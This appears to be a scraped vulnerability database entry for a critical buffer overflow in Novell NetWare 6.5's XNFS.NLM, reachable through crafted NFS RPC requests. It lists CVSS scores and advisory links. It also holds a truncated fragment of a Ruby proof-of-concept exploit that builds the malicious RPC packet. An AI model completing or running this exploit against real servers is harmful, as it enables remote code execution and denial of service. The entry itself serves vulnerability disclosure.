Published: 25/02/2011 Updated: 10/10/2018

CVSS v2 Base Score: 10 | Impact Score: 10 | Exploitability Score: 10

VMScore: 1000

Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C

The xdrDecodeString function in XNFS.NLM in Novell Netware 6.5 before SP8 allows remote malicious users to cause a denial of service (abend) or execute arbitrary code via a crafted, signed value in a NFS RPC request to port UDP 1234, leading to a stack-based buffer overflow.

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novell netware 6.5
novell netware

#!/usr/bin/ruby # Source: # wwwprotekresearchlabcom/indexphp?option=com_content&view=article&id=24&Itemid=24 require 'socket' netware_server = (ARGV[0]) target_port = (ARGV[1] || 1234) beepbeep= "\x1c\xd1\xef\xab" + # XID "\x00\x00\x00\x00" + # Message Type: Call (0) "\x00\x00\x00\x02" + # RPC Version: 2 "\x00\x01\x86\xa ...

CWE-119 http://secunia.com/advisories/43431 http://www.securitytracker.com/id?1025119 http://www.zerodayinitiative.com/advisories/ZDI-11-090 http://download.novell.com/Download?buildid=1z3z-OsVCiE~http://www.exploit-db.com/exploits/16234 http://www.vupen.com/english/advisories/2011/0497 http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24 http://www.securityfocus.com/bid/46535 http://securityreason.com/securityalert/8104 https://exchange.xforce.ibmcloud.com/vulnerabilities/65625 http://www.securityfocus.com/archive/1/516645/100/0/threaded https://nvd.nist.gov https://www.exploit-db.com/exploits/16234/

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